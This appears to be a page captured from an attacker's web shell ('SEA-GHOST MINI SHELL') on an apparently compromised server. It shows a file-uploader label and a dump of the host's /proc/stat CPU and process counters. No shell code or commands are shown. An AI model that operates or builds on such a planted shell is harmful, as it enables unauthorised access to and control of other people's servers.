[ SEA-GHOST MINI SHELL]

Path : /proc/2/cwd/proc/
FILE UPLOADER :
Current File : //proc/2/cwd/proc/stat

cpu  2346978391 36105072 1310300423 17962390002 436467813 0 0 0
cpu0 411655804 5813197 254109517 1973112486 112436417 0 0 0
cpu1 294582598 7249203 162037766 2190306345 105131698 0 0 0
cpu2 329535216 4148744 172518060 2206577480 47875849 0 0 0
cpu3 251889788 4134184 143633541 2327323283 35626333 0 0 0
cpu4 297588767 3795812 157854796 2263435451 39293615 0 0 0
cpu5 235828812 3618466 134709893 2359817343 29609433 0 0 0
cpu6 302141653 3910175 158758732 2258570207 39299729 0 0 0
cpu7 223755750 3435286 126678114 2383247403 27194736 0 0 0
intr 0
swap 0 0

ctxt 64454722039
btime 1697904917
processes 537119282
procs_running 7
procs_blocked 2

SEA-GHOST - SHELL CODING BY SEA-GHOST